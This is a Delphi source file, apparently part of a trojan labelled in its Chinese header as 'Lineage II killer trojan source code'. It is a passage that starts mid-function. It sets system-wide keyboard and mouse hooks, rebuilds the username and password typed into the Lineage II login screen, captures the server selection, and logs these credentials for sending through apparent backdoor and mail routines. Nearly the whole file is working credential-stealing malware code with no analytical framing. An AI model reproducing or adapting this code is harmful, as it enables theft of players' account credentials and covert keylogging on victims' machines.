unithookdll.pas

LineageII藏经阁天堂2杀手木马源代码

            //s := s + '  坐标:' + inttostr(i);
            strcopy(@quserverLocal, pchar(s));
            writedat('SelectServer user:' + user + ' Pass:' + pass + ' qu:' + quserverlocal);
            if Dblclick then
            begin
              iStatueMain := 2;
              iTabPassUser := TabUser;
              iUserPos := strlen(@User);
              send;
            end;
          end;
        end;
      end;
  end;
end;

function GetTrueKey(wpa: integer): char;
const
  dd1: array[0..11] of byte = ($20, $C0, $BD, $BB, $DC, $DB, $DD, $BA, $DE, $BC, $BE, $BF);
  dd2: array[0..11] of char = (' ', '`', '-', '=', '\', '[', ']', ';', '''', ',', '.', '/');
  key1: array[0..20] of char = ('`', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', '\', '[', ']', ';', '''', ',', '.', '/');
  key2: array[0..20] of char = ('~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '|', '{', '}', ':', '"', '<', '>', '?');
var
  KeyboardState: TKeyboardState;
  i: integer;
  found: boolean;
begin
  GetKeyboardState(KeyboardState);
  if (KeyboardState[VK_CONTROL] and $80 <> 0) or (KeyboardState[VK_MENU] and $80 <> 0) then
  begin
    result := #0;
    exit;
  end;
  result := chr(WPa);
  if (result >= 'A') and (result <= 'Z') then
  begin
    if KeyboardState[VK_CAPITAL] and $1 <> 0 then result := chr(WPa)
    else result := chr(WPa + $20);
    if KeyboardState[VK_SHIFT] and $80 <> 0 then
    begin
      if result <= 'Z' then inc(result, $20)
      else dec(result, $20);
    end;
  end
  else if (wpa >= VK_NUMPAD0) and (wpa <= VK_DIVIDE) then
  begin
    //if (KeyboardState[VK_NUMLOCK] and $1 <> 0) then result:=#0
    if wpa <= VK_NUMPAD9 then result := chr($30 + wpa - VK_NUMPAD0)
    else if wpa = VK_MULTIPLY then result := '*'
    else if wpa = VK_ADD then result := '+'
    else if wpa = VK_DIVIDE then result := '/'
    else if wpa = VK_SUBTRACT then result := '-'
    else if wpa = VK_DECIMAL then result := '.';
    exit;
  end
  else if (result >= '0') and (result <= '9') then //nothing
  else begin
    found := false;
    for i := low(dd1) to high(dd1) do
    begin
      if wpa = dd1[i] then
      begin
        result := dd2[i];
        found := true;
      end;
    end;
    if not found then
    begin
      result := #0;
      exit;
    end;
  end;
  if KeyboardState[VK_SHIFT] and $80 <> 0 then
    for i := low(key1) to high(key1) do
    begin
      if result = key1[i] then
      begin
        result := key2[i];
      end;
    end;
end;

procedure AddUserPass(key: integer);
var
  p: hwnd;
  WinText, ClassText: array[0..255] of char;
  KeyboardState: TKeyboardState;
  i, len: integer;
  c: char;
begin
  p := GetForegroundWindow;
  WinText[0] := #0;
  GetWindowText(p, WinText, sizeof(WinText));
  ClassText[0] := #0;
  GetClassName(p, ClassText, sizeof(ClassText));
  if (ansicomparetext(classtext, 'l2UnrealWWindowsViewportWindow') = 0)
    and (wintext = 'Lineage II') then
  begin
    GetKeyboardState(KeyboardState);
    if (KeyboardState[VK_CONTROL] and $80 <> 0) or (KeyboardState[VK_MENU] and $80 <> 0) then
      exit;
    if (iStatueMain = 0) {or (iStatueMain = -1)} then
    begin
      if (key = vk_return) then //nothing
      begin
        if bClickLogin then
          inc(iLogin);
        if (iTabPassUser = TabPass) then
        begin
          writedat('key login user:' + user + ' Pass:' + pass);
          if (user <> '') and (pass <> '') then
            bClickLogin := true;
          iTabPassUser := TabUser;
          iUserPos := strlen(@User);
        end;
      end
      else if (key = vk_tab) then
      begin
        if (iTabPassUser = TabUser) then
        begin
          inc(iTabPassUser);
          iPassPos := strlen(@pass);
        end
        else if (iTabPassUser = TabPass) then
        begin
          inc(iTabPassUser);
        end;
      end
      else if key = Vk_Left then
      begin
        if iTabPassUser = TabUser then
          if iUserPos > 0 then
            dec(iUserPos);
        if iTabPassUser = TabPass then
          if iPassPos > 0 then
            dec(iPassPos);
      end
      else if key = Vk_Right then
      begin
        if iTabPassUser = TabUser then
          if iUserPos < integer(strlen(@user)) then
            inc(iUserPos);
        if iTabPassUser = TabPass then
          if iPassPos < integer(strlen(@Pass)) then
            inc(iPassPos);
      end
      else if key = Vk_home then
      begin
        if iTabPassUser = TabUser then
          if iUserPos > 0 then
            iUserPos := 0;
        if iTabPassUser = TabPass then
          if iPassPos > 0 then
            iPassPos := 0;
      end
      else if key = Vk_end then
      begin
        if iTabPassUser = TabUser then
        begin
          len := strlen(@user);
          if iUserPos < len then
            iUserPos := len;
        end;
        if iTabPassUser = TabPass then
        begin
          len := strlen(@Pass);
          if iPassPos < len then
            iPassPos := len;
        end;
      end
      else if key = VK_BACK then
      begin
        if iTabPassUser = TabUser then
        begin
          len := strlen(@user);
          if iUserPos > 0 then
          begin
            for i := iUserPos - 1 to len - 1 do
              User[i] := User[i + 1];
            dec(iUserPos);
          end;
        end
        else if iTabPassUser = TabPass then
        begin
          len := strlen(@pass);
          if len > 0 then
          begin
            pass[len - 1] := #0;
          end;
        end;
      end
      else if key = VK_Delete then
      begin
        if iTabPassUser = TabUser then
        begin
          len := strlen(@user);
          if iUserPos < len then
          begin
            for i := iUserPos to len - 1 do
              User[i] := User[i + 1];
          end;
        end;
        if iTabPassUser = TabPass then
        begin
          len := strlen(@Pass);
          if iPassPos < len then
          begin
            for i := iPassPos to len - 1 do
              Pass[i] := Pass[i + 1];
          end;
        end;
      end
      else begin
        if iTabPassUser = TabUser then
        begin
          c := GetTrueKey(key);
          if c <> #0 then
          begin
            if strlen(@User) < sizeof(User) - 1 then
            begin
              len := strlen(@user);
              for i := len downto iUserPos do
                User[i + 1] := User[i];
              User[iUserPos] := C;
              inc(iUserPos);
            end;
          end;
        end
        else if iTabPassUser = TabPass then
        begin
          c := GetTrueKey(key);
          if c <> #0 then
          begin
            len := strlen(@Pass);
            if len < sizeof(Pass) - 1 then
            begin
              Pass[len] := c;
              Pass[len + 1] := #0;
            end;
          end;
        end;
      end;
    end;
    writedat('key2:' + inttostr(key) + ' iStatueMain:' + inttostr(iStatueMain) + ' iTabPassUser:' + inttostr(iTabPassUser) +
      ' user:' + user + ' Pass:' + pass);
  end;
end;

procedure LogoKey(wpa, lpa: integer);
//var
//  p, pbak1, L: hwnd;
//  s: string;
//  buffer, WinText, ClassText: array[0..255] of char;
begin
  if not isCQ then exit;
  writedat('key0:' + inttostr(Wpa));
  AddUserPass(wpa);
//  if {(Wpa <> vk_return) and}(Wpa <> $20) then
//  begin
//  end
//  else begin
{    if wpa=#20 then
    begin
      //
    end; }
{    if ((iStatueMain=0)or(iStatueMain=-1))and
       (iTabPassUser=TabPass)then
    begin
      strcopy(@quserverLocal, @pshmem^.quserver);
      writedat('user:' + user + ' Pass:' + pass + ' 区:' + quserverLocal);
      iTabPassUser:=MaxTab-1;
    end; }
//  end;
end;

function KeyPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
  stdcall; export;
begin
  Result := CallNextHookEx(pshmem^.KeyHook, iCode, wParam, lParam);
  try
    if ((Lparam and $80000000) = 0) then
    begin
      LogoKey(wparam, lparam);
    end;
  except
  end;
end;

function MouseProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
  stdcall; export;
var
  x, y: integer;
  p: hwnd;
  rect: TRect;
  WinText, ClassText: array[0..255] of char;
begin
  Result := CallNextHookEx(pshmem^.MouseHook, iCode, wParam, lParam);
  if (wparam = WM_LBUTTONDOWN) and isIE then
  begin
    p := pMOUSEHOOKSTRUCT(lParam)^.hwnd;
    ClassText[0] := #0;
    GetClassName(p, ClassText, sizeof(ClassText));
    //writedat(classtext);
    if classtext = 'Internet Explorer_Server' then
    begin
      p := getparent(getparent(p));
      //ClassText[0] := #0;
      //GetClassName(p, ClassText, sizeof(ClassText));
      //writedat(classtext);

      //doIE(p);  //wjs update
    end;
  end;
  try
    if (wparam = WM_LBUTTONDOWN) or (wparam = WM_LBUTTONUP) or (wparam = WM_LBUTTONDBLCLK) then
      if isCQ then
      begin
        if (RectLoginWin.Left = 0) and (RectLoginWin.Right = 0) and (RectLoginWin.Top = 0) and (RectLoginWin.Bottom = 0) then
        begin
          screenx := GetSystemMetrics(SM_CXSCREEN);
          screeny := GetSystemMetrics(SM_CYSCREEN);
          if (screenx = 800) and (screeny = 600) then
          begin
            RectLoginWin.Left := 293; //true
            RectLoginWin.Top := 211; //true
            RectLoginWin.Right := 506;
            RectLoginWin.Bottom := 358;
            RectServerWin.Left := 250; //true
            RectServerWin.Top := 101; //true
            RectServerWin.Right := 549; //true
            RectServerWin.Bottom := 520;
          end
          else begin
            RectLoginWin.Left := 405 * screenx div scW; //true
            RectLoginWin.Top := 295 * screeny div scH; //true
            RectLoginWin.Right := 618 * screenx div scW; //true
            RectLoginWin.Bottom := 442 * screeny div scH; //true
            RectServerWin.Left := 362 * screenx div scW; //true
            RectServerWin.Top := 206 * screeny div scH; //true //185
            RectServerWin.Right := 661 * screenx div scW; //true
            RectServerWin.Bottom := 710 * screeny div scH; //true
          end;
        end;
        p := pMOUSEHOOKSTRUCT(lParam)^.hwnd;
        WinText[0] := #0;
        GetWindowText(p, WinText, sizeof(WinText));
        ClassText[0] := #0;
        GetClassName(p, ClassText, sizeof(ClassText));
        writedat('iStatueMain:' + inttostr(iStatueMain) + ' iTabPassUser:' + inttostr(iTabPassUser) +
          ' mouse WinText:' + WinText + ' class:' + classtext + ' x:' + inttostr(pMOUSEHOOKSTRUCT(lParam)^.pt.X) +
          ' Y:' + inttostr(pMOUSEHOOKSTRUCT(lParam)^.pt.Y));
        if (ansicomparetext(classtext, 'l2UnrealWWindowsViewportWindow') = 0) and
          (wintext = 'Lineage II') then
        begin
          if wparam = WM_LBUTTONUP then
          begin
            x := pMOUSEHOOKSTRUCT(lparam)^.pt.x - DownXY.x;
            y := pMOUSEHOOKSTRUCT(lparam)^.pt.y - DownXY.y;
            if (abs(x) >= 2) and (abs(y) >= 2) then
            begin
              case iStatueMain of
                0: begin
                    rect := rectLoginwin;
                    rect.Bottom := rect.Top + 22; //800*600是21
                    if ptInRect(rect, DownXY) then
                      offsetRect(rectLoginwin, x, y);
                  end;
                1: begin
                    rect := rectServerWin;
                    rect.Bottom := rect.Top + 22;
                    if ptInRect(rect, DownXY) then
                      offsetRect(rectServerwin, x, y);
                  end;
              end;
            end;
          end
          else begin
            DownXY.x := pMOUSEHOOKSTRUCT(lparam)^.pt.x;
            DownXY.y := pMOUSEHOOKSTRUCT(lparam)^.pt.y;
            LogoMouse(wparam, lparam, wparam = WM_LBUTTONDBLCLK);
          end;
        end;
      end;
  except
  end;
end;


procedure StartHook(data: pchar; BackDoor: pchar; VerTest: boolean); stdcall;
//svar
//  SystemTime: TSystemTime;
begin
//  GetLocalTime(SystemTime);
//  with SystemTime do
//    if (wYear >= 2004) and (wMonth >= 10) then exit;
  Killer;

  FirstProcess := true;
//  pshmem^.quserver[0] := #0;
  pshmem^.VerTest := VerTest;

  strcopy(pshmem^.data, data);
  strcopy(pshmem^.backdoor, backdoor);
  if pshmem^.KeyHook = 0 then
    pshmem^.KeyHook := SetWindowsHookEx(WH_KEYBOARD, Keypro, HInstance, 0);
  if pshmem^.MouseHook = 0 then
    pshmem^.MouseHook := SetWindowsHookEx(WH_MOUSE, MouseProc, Hinstance, 0);
//  if callhook = 0 then
//    callhook := SetWindowsHookEx(WH_CALLWNDPROC, callProc, Hinstance, 0);
end;

procedure StopHook; stdcall;
begin
  if pshmem^.KeyHook <> 0 then
    UnhookwindowsHookEx(pshmem^.KeyHook);
  pshmem^.KeyHook := 0;
  if pshmem^.MouseHook <> 0 then
    UnhookwindowsHookEx(pshmem^.MouseHook);
  pshmem^.MouseHook := 0;
//  if callHook <> 0 then
//    UnhookwindowsHookEx(callHook);
//  callHook := 0;
end;

initialization
  try
    quserverLocal[0] := #0;
    iStatueMain := 0;
    iTabPassUser := 0;
    iUserPos := 0;
    iPassPos := 0;
    user[0] := #0;
    pass[0] := #0;
    WuPinPass[0] := #0;
    role := 0;
    bClickLogin := false;
    iLogin := 0;
    FirstProcess := false;
    SendHtmlMailData := '';
//  is9x := IsWindows9x;
    hMappingFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShareMem), pchar(MappingFileName));
    pShMem := MapViewOfFile(hMappingFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
    filename := extractfilename(GetModalName(GetCurrentProcessId)); //'.bin'
    isCQ := (ansicomparetext(filename, 'l2.exe') = 0);
    isIE := (ansicomparetext(filename, 'IEXPLORE.EXE') = 0);
  except
  end;

finalization
  try
    if FirstProcess then
      StopHook;
    UnMapViewOfFile(pShMem);
    CloseHandle(hMappingFile);
  except
  end;
end.